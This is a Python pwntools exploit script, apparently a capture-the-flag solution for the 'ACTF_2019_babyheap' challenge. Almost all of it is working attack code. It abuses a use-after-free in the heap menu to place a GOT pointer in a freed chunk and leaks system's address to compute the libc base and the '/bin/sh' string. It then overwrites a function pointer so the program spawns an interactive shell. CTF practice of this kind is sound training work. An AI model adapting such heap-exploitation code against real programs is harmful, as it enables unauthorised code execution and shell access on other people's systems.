1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
|
from PwnContext import * context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] context.log_level = 'debug'
s = lambda data :ctx.send(str(data)) sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096,timeout=2:ctx.recv(numb, timeout=timeout) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
uu32 = lambda data :u32(data.ljust(4, '\x00')) uu64 = lambda data :u64(data.ljust(8, '\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
ctx.binary = './ACTF_2019_babyheap' ctx.remote = ('0.0.0.0', 0) ctx.remote_libc = '../../libc/libc-2.27.so' ctx.debug_remote_libc = True
rs()
def add(size, content): sla('choice: ', '1') sla('size: \n', str(size)) sa('content: \n', content)
def free(index): sla('choice: ', '2') sla('index: \n', str(index))
def show(index): sla('choice: ', '3') sla('index: \n', str(index))
add(0x20, 'aaa') add(0x20, 'aaa') add(0x20, 'aaa')
free(0) free(1)
add(0x10, p64(ctx.binary.got['system'])) show(0)
ru("Content is '") system_addr = uu64(ru("'\n")) libc_base = system_addr - ctx.libc.sym['system'] str_bin_sh = libc_base + ctx.libc.search('/bin/sh').next()
leak('system', system_addr) leak('libc_base', libc_base) leak('str_bin_sh', str_bin_sh)
free(3) add(0x10, p64(str_bin_sh) + p64(ctx.binary.plt['system']))
show(0)
irt()
|